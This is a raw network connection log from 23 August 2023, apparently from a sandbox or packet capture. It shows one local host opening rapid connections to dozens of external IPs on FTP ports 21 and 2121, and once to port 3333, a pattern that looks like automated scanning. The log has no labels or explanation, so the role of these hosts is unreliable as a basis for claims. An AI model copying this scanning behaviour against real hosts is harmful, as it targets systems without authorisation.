Aug 23, 2023 09:16:18.786153078 CEST	51871	2121	192.168.2.3	180.245.122.99
Aug 23, 2023 09:16:18.801913977 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.802454948 CEST	51893	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.833014965 CEST	51885	21	192.168.2.3	85.0.78.55
Aug 23, 2023 09:16:18.833071947 CEST	51886	2121	192.168.2.3	85.0.78.55
Aug 23, 2023 09:16:18.847086906 CEST	21	51885	85.0.78.55	192.168.2.3
Aug 23, 2023 09:16:18.847278118 CEST	2121	51886	85.0.78.55	192.168.2.3
Aug 23, 2023 09:16:18.848238945 CEST	51915	21	192.168.2.3	181.110.235.17
Aug 23, 2023 09:16:18.848309994 CEST	51916	2121	192.168.2.3	181.110.235.17
Aug 23, 2023 09:16:18.849585056 CEST	51917	21	192.168.2.3	93.184.111.57
Aug 23, 2023 09:16:18.850287914 CEST	51918	2121	192.168.2.3	93.184.111.57
Aug 23, 2023 09:16:18.868100882 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.868486881 CEST	51911	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.883361101 CEST	21	51907	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.883734941 CEST	51907	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.895512104 CEST	51874	21	192.168.2.3	126.22.4.228
Aug 23, 2023 09:16:18.895571947 CEST	51836	21	192.168.2.3	67.248.204.252
Aug 23, 2023 09:16:18.900934935 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.902237892 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.902755976 CEST	51911	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.908083916 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:18.908205032 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:18.908232927 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:18.908291101 CEST	51864	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:18.908552885 CEST	51864	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:18.909604073 CEST	51919	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:18.926810980 CEST	51837	2121	192.168.2.3	67.248.204.252
Aug 23, 2023 09:16:18.931710005 CEST	21	51913	220.83.91.64	192.168.2.3
Aug 23, 2023 09:16:18.937745094 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.938148975 CEST	51911	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.942414045 CEST	51838	21	192.168.2.3	77.196.208.40
Aug 23, 2023 09:16:18.958045006 CEST	51840	21	192.168.2.3	129.21.219.187
Aug 23, 2023 09:16:18.958276033 CEST	51839	2121	192.168.2.3	77.196.208.40
Aug 23, 2023 09:16:18.970702887 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.970928907 CEST	51911	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.971194029 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.971256018 CEST	51911	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.972523928 CEST	51920	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.973598957 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.974816084 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.975121975 CEST	51893	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.987535954 CEST	21	51870	180.245.122.99	192.168.2.3
Aug 23, 2023 09:16:18.988435984 CEST	51921	21	192.168.2.3	74.76.32.20
Aug 23, 2023 09:16:18.996893883 CEST	2121	51914	220.83.91.64	192.168.2.3
Aug 23, 2023 09:16:19.002163887 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.002269983 CEST	51920	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.002928972 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.004755020 CEST	21	51907	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.009680033 CEST	51907	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.010600090 CEST	2121	51871	180.245.122.99	192.168.2.3
Aug 23, 2023 09:16:19.011671066 CEST	51922	2121	192.168.2.3	74.76.32.20
Aug 23, 2023 09:16:19.020530939 CEST	51842	2121	192.168.2.3	129.21.219.187
Aug 23, 2023 09:16:19.051781893 CEST	51843	21	192.168.2.3	67.249.146.40
Aug 23, 2023 09:16:19.098742008 CEST	51879	2121	192.168.2.3	126.22.4.228
Aug 23, 2023 09:16:19.121890068 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:19.123188019 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:19.125875950 CEST	51919	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:19.130189896 CEST	21	51907	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.130256891 CEST	21	51907	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.130414009 CEST	51907	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.130490065 CEST	51907	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.131740093 CEST	51923	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.140511036 CEST	21	51915	181.110.235.17	192.168.2.3
Aug 23, 2023 09:16:19.143174887 CEST	2121	51916	181.110.235.17	192.168.2.3
Aug 23, 2023 09:16:19.145751953 CEST	51887	21	192.168.2.3	24.114.214.227
Aug 23, 2023 09:16:19.147763014 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.148214102 CEST	51893	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:19.177589893 CEST	21	51874	126.22.4.228	192.168.2.3
Aug 23, 2023 09:16:19.178813934 CEST	51924	21	192.168.2.3	182.77.43.134
Aug 23, 2023 09:16:19.205063105 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.205910921 CEST	51920	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.235090971 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.236661911 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.239031076 CEST	51920	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.250699043 CEST	21	51907	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.252039909 CEST	21	51923	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.254590988 CEST	51923	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.254954100 CEST	51846	2121	192.168.2.3	67.249.146.40
Aug 23, 2023 09:16:19.255525112 CEST	51847	21	192.168.2.3	47.24.201.36
Aug 23, 2023 09:16:19.259501934 CEST	21	51887	24.114.214.227	192.168.2.3
Aug 23, 2023 09:16:19.260586977 CEST	51925	2121	192.168.2.3	182.77.43.134
Aug 23, 2023 09:16:19.270864964 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.270939112 CEST	51891	2121	192.168.2.3	24.114.214.227
Aug 23, 2023 09:16:19.271264076 CEST	51920	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.301048994 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.301650047 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.303447008 CEST	51920	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.304249048 CEST	51920	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.304636002 CEST	51926	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.319802046 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.319871902 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.320054054 CEST	51893	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:19.320688009 CEST	51893	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:19.320687056 CEST	51927	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:19.333261013 CEST	2121	51920	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.337054014 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.337604046 CEST	51926	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.347440004 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:19.347877026 CEST	51919	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:19.374856949 CEST	21	51923	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.376247883 CEST	51923	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.378495932 CEST	2121	51879	126.22.4.228	192.168.2.3
Aug 23, 2023 09:16:19.382406950 CEST	51928	21	192.168.2.3	175.212.47.197
Aug 23, 2023 09:16:19.386240005 CEST	2121	51891	24.114.214.227	192.168.2.3
Aug 23, 2023 09:16:19.387041092 CEST	51929	2121	192.168.2.3	175.212.47.197
Aug 23, 2023 09:16:19.426877022 CEST	51849	2121	192.168.2.3	47.24.201.36
Aug 23, 2023 09:16:19.426882982 CEST	51850	21	192.168.2.3	179.107.13.32
Aug 23, 2023 09:16:19.442600012 CEST	51913	21	192.168.2.3	220.83.91.64
Aug 23, 2023 09:16:19.491976023 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.492016077 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.495080948 CEST	51927	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:19.496493101 CEST	21	51923	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.497937918 CEST	51923	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.505009890 CEST	51914	2121	192.168.2.3	220.83.91.64
Aug 23, 2023 09:16:19.532269001 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.532958031 CEST	51926	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.536200047 CEST	51851	2121	192.168.2.3	179.107.13.32
Aug 23, 2023 09:16:19.561500072 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:19.565174103 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.566245079 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.567241907 CEST	51926	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.583101988 CEST	51852	21	192.168.2.3	112.171.0.62
Aug 23, 2023 09:16:19.583126068 CEST	51854	21	192.168.2.3	218.149.87.127
Aug 23, 2023 09:16:19.583126068 CEST	51853	2121	192.168.2.3	112.171.0.62
Aug 23, 2023 09:16:19.602200031 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.605298996 CEST	51926	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.614340067 CEST	51857	21	192.168.2.3	122.163.82.186
Aug 23, 2023 09:16:19.614346027 CEST	51856	2121	192.168.2.3	218.149.87.127
Aug 23, 2023 09:16:19.614501953 CEST	51858	2121	192.168.2.3	122.163.82.186
Aug 23, 2023 09:16:19.618647099 CEST	21	51923	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.619580030 CEST	51923	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.637367964 CEST	21	51928	175.212.47.197	192.168.2.3
Aug 23, 2023 09:16:19.638143063 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.638576984 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.638612986 CEST	51926	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.638930082 CEST	51926	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.638930082 CEST	51930	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.645062923 CEST	2121	51929	175.212.47.197	192.168.2.3
Aug 23, 2023 09:16:19.645613909 CEST	51915	21	192.168.2.3	181.110.235.17
Aug 23, 2023 09:16:19.645617008 CEST	51916	2121	192.168.2.3	181.110.235.17
Aug 23, 2023 09:16:19.668580055 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.670793056 CEST	2121	51926	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.671260118 CEST	51930	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.700378895 CEST	21	51913	220.83.91.64	192.168.2.3
Aug 23, 2023 09:16:19.739727020 CEST	21	51923	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.739777088 CEST	21	51923	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.739973068 CEST	51923	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.740603924 CEST	51923	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.740663052 CEST	51931	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.751562119 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.754731894 CEST	51927	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:19.762459993 CEST	2121	51914	220.83.91.64	192.168.2.3
Aug 23, 2023 09:16:19.850472927 CEST	51862	21	192.168.2.3	196.196.32.13
Aug 23, 2023 09:16:19.863251925 CEST	21	51923	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.863277912 CEST	21	51931	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.863528967 CEST	51931	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:19.881407022 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.883390903 CEST	51930	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.912998915 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.914453030 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.916075945 CEST	51930	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.925802946 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.927112103 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:19.927501917 CEST	51927	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:19.937886953 CEST	21	51915	181.110.235.17	192.168.2.3
Aug 23, 2023 09:16:19.940567970 CEST	2121	51916	181.110.235.17	192.168.2.3
Aug 23, 2023 09:16:19.948184967 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.954703093 CEST	51930	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.975483894 CEST	51932	21	192.168.2.3	107.175.142.26
Aug 23, 2023 09:16:19.975537062 CEST	51933	21	192.168.2.3	85.53.225.205
Aug 23, 2023 09:16:19.975549936 CEST	51934	2121	192.168.2.3	107.175.142.26
Aug 23, 2023 09:16:19.979563951 CEST	51935	2121	192.168.2.3	85.53.225.205
Aug 23, 2023 09:16:19.984611034 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.984843969 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:19.984989882 CEST	51930	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.984989882 CEST	51930	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.985615969 CEST	21	51931	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:19.985716105 CEST	51936	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:19.985884905 CEST	51931	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.014328003 CEST	2121	51930	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.017527103 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.017699003 CEST	51936	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.083292961 CEST	51865	2121	192.168.2.3	196.196.32.13
Aug 23, 2023 09:16:20.099574089 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.099999905 CEST	51927	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:20.107502937 CEST	21	51931	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.107743979 CEST	51931	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.130007982 CEST	51868	21	192.168.2.3	213.155.208.233
Aug 23, 2023 09:16:20.132241964 CEST	51937	21	192.168.2.3	131.0.53.230
Aug 23, 2023 09:16:20.132319927 CEST	51939	2121	192.168.2.3	13.93.66.34
Aug 23, 2023 09:16:20.132355928 CEST	51938	21	192.168.2.3	13.93.66.34
Aug 23, 2023 09:16:20.132445097 CEST	51940	2121	192.168.2.3	131.0.53.230
Aug 23, 2023 09:16:20.132534027 CEST	51941	2121	192.168.2.3	79.225.67.15
Aug 23, 2023 09:16:20.132828951 CEST	51942	21	192.168.2.3	79.225.67.15
Aug 23, 2023 09:16:20.145611048 CEST	51869	2121	192.168.2.3	213.155.208.233
Aug 23, 2023 09:16:20.145642042 CEST	51873	2121	192.168.2.3	91.48.109.84
Aug 23, 2023 09:16:20.145642042 CEST	51928	21	192.168.2.3	175.212.47.197
Aug 23, 2023 09:16:20.145643950 CEST	51929	2121	192.168.2.3	175.212.47.197
Aug 23, 2023 09:16:20.145643950 CEST	51872	21	192.168.2.3	91.48.109.84
Aug 23, 2023 09:16:20.161835909 CEST	51943	21	192.168.2.3	83.79.181.48
Aug 23, 2023 09:16:20.179301977 CEST	51944	2121	192.168.2.3	83.79.181.48
Aug 23, 2023 09:16:20.208122015 CEST	51913	21	192.168.2.3	220.83.91.64
Aug 23, 2023 09:16:20.219136000 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.219532967 CEST	51936	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.230066061 CEST	21	51931	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.230380058 CEST	51931	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.251475096 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.252832890 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.253163099 CEST	51936	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.255049944 CEST	51875	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:16:20.270685911 CEST	51914	2121	192.168.2.3	220.83.91.64
Aug 23, 2023 09:16:20.271482944 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.271539927 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.271657944 CEST	51927	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:20.271769047 CEST	51927	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:20.272669077 CEST	51945	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:20.288057089 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.288419962 CEST	51936	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.320781946 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.321052074 CEST	51936	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.321451902 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.321511984 CEST	51936	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.322276115 CEST	51946	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.349824905 CEST	51947	21	192.168.2.3	211.107.152.54
Aug 23, 2023 09:16:20.349961996 CEST	51948	2121	192.168.2.3	211.107.152.54
Aug 23, 2023 09:16:20.351516962 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.351615906 CEST	51946	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.352106094 CEST	21	51931	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.352226973 CEST	21	51931	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.352307081 CEST	51931	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.352307081 CEST	51931	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.352768898 CEST	2121	51936	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.353549004 CEST	51949	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.355887890 CEST	21	51937	131.0.53.230	192.168.2.3
Aug 23, 2023 09:16:20.360434055 CEST	2121	51940	131.0.53.230	192.168.2.3
Aug 23, 2023 09:16:20.400171995 CEST	21	51928	175.212.47.197	192.168.2.3
Aug 23, 2023 09:16:20.403518915 CEST	2121	51929	175.212.47.197	192.168.2.3
Aug 23, 2023 09:16:20.442544937 CEST	51915	21	192.168.2.3	181.110.235.17
Aug 23, 2023 09:16:20.442570925 CEST	51916	2121	192.168.2.3	181.110.235.17
Aug 23, 2023 09:16:20.442944050 CEST	21	51927	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.444144011 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.444240093 CEST	51945	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:20.465358973 CEST	21	51913	220.83.91.64	192.168.2.3
Aug 23, 2023 09:16:20.466296911 CEST	51950	21	192.168.2.3	150.249.6.171
Aug 23, 2023 09:16:20.473958015 CEST	21	51949	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.474049091 CEST	51949	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.474875927 CEST	51951	2121	192.168.2.3	150.249.6.171
Aug 23, 2023 09:16:20.474946976 CEST	21	51931	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.520674944 CEST	51881	2121	192.168.2.3	75.174.192.67
Aug 23, 2023 09:16:20.520720959 CEST	51880	21	192.168.2.3	75.174.192.67
Aug 23, 2023 09:16:20.521651030 CEST	51952	21	192.168.2.3	49.48.90.96
Aug 23, 2023 09:16:20.527285099 CEST	2121	51914	220.83.91.64	192.168.2.3
Aug 23, 2023 09:16:20.528506041 CEST	51953	2121	192.168.2.3	49.48.90.96
Aug 23, 2023 09:16:20.559226036 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.559608936 CEST	51946	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.561912060 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:20.562166929 CEST	51919	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:20.583157063 CEST	51882	21	192.168.2.3	66.57.248.161
Aug 23, 2023 09:16:20.589114904 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.590393066 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.590750933 CEST	51946	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.594444990 CEST	21	51949	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.594719887 CEST	51949	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.603596926 CEST	2121	51948	211.107.152.54	192.168.2.3
Aug 23, 2023 09:16:20.605194092 CEST	21	51947	211.107.152.54	192.168.2.3
Aug 23, 2023 09:16:20.615233898 CEST	51954	21	192.168.2.3	104.98.102.132
Aug 23, 2023 09:16:20.622548103 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.622904062 CEST	51946	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.652478933 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.653045893 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.653140068 CEST	51946	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.655039072 CEST	51946	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.655870914 CEST	51955	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.676903009 CEST	51884	2121	192.168.2.3	66.57.248.161
Aug 23, 2023 09:16:20.684025049 CEST	2121	51946	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.685156107 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.685250998 CEST	51955	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.701426983 CEST	2121	51951	150.249.6.171	192.168.2.3
Aug 23, 2023 09:16:20.714926958 CEST	21	51949	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.715307951 CEST	51949	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.725356102 CEST	51956	2121	192.168.2.3	104.98.102.132
Aug 23, 2023 09:16:20.732438087 CEST	21	51952	49.48.90.96	192.168.2.3
Aug 23, 2023 09:16:20.734636068 CEST	21	51915	181.110.235.17	192.168.2.3
Aug 23, 2023 09:16:20.737289906 CEST	2121	51916	181.110.235.17	192.168.2.3
Aug 23, 2023 09:16:20.744606972 CEST	51957	21	192.168.2.3	159.0.4.225
Aug 23, 2023 09:16:20.744709015 CEST	51958	2121	192.168.2.3	159.0.4.225
Aug 23, 2023 09:16:20.775573015 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:20.776151896 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:20.776171923 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:20.776268005 CEST	51919	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:20.776467085 CEST	51919	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:20.777435064 CEST	51959	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:20.806744099 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.807430983 CEST	51945	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:20.832892895 CEST	2121	51958	159.0.4.225	192.168.2.3
Aug 23, 2023 09:16:20.836245060 CEST	21	51949	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.836633921 CEST	51949	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.864526987 CEST	51937	21	192.168.2.3	131.0.53.230
Aug 23, 2023 09:16:20.864598036 CEST	51940	2121	192.168.2.3	131.0.53.230
Aug 23, 2023 09:16:20.888462067 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.888966084 CEST	51955	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.911314964 CEST	51929	2121	192.168.2.3	175.212.47.197
Aug 23, 2023 09:16:20.911319971 CEST	51928	21	192.168.2.3	175.212.47.197
Aug 23, 2023 09:16:20.912842989 CEST	51960	21	192.168.2.3	193.193.239.77
Aug 23, 2023 09:16:20.921646118 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.923261881 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.924432039 CEST	51955	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.927767992 CEST	51961	2121	192.168.2.3	193.193.239.77
Aug 23, 2023 09:16:20.943845034 CEST	51962	21	192.168.2.3	82.202.218.71
Aug 23, 2023 09:16:20.956285000 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.956748962 CEST	51955	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.956933975 CEST	21	51949	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.956948042 CEST	21	51949	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:20.957017899 CEST	51949	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.957204103 CEST	51949	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.958110094 CEST	51963	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:20.959197044 CEST	51964	2121	192.168.2.3	82.202.218.71
Aug 23, 2023 09:16:20.979052067 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.980171919 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:20.981362104 CEST	51945	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:20.981435061 CEST	51965	21	192.168.2.3	72.197.134.48
Aug 23, 2023 09:16:20.990542889 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.990573883 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:20.990638971 CEST	51955	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.990808964 CEST	51955	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.991713047 CEST	51966	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:20.993156910 CEST	21	51919	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:20.994582891 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:20.994652033 CEST	51959	21	192.168.2.3	41.85.20.17
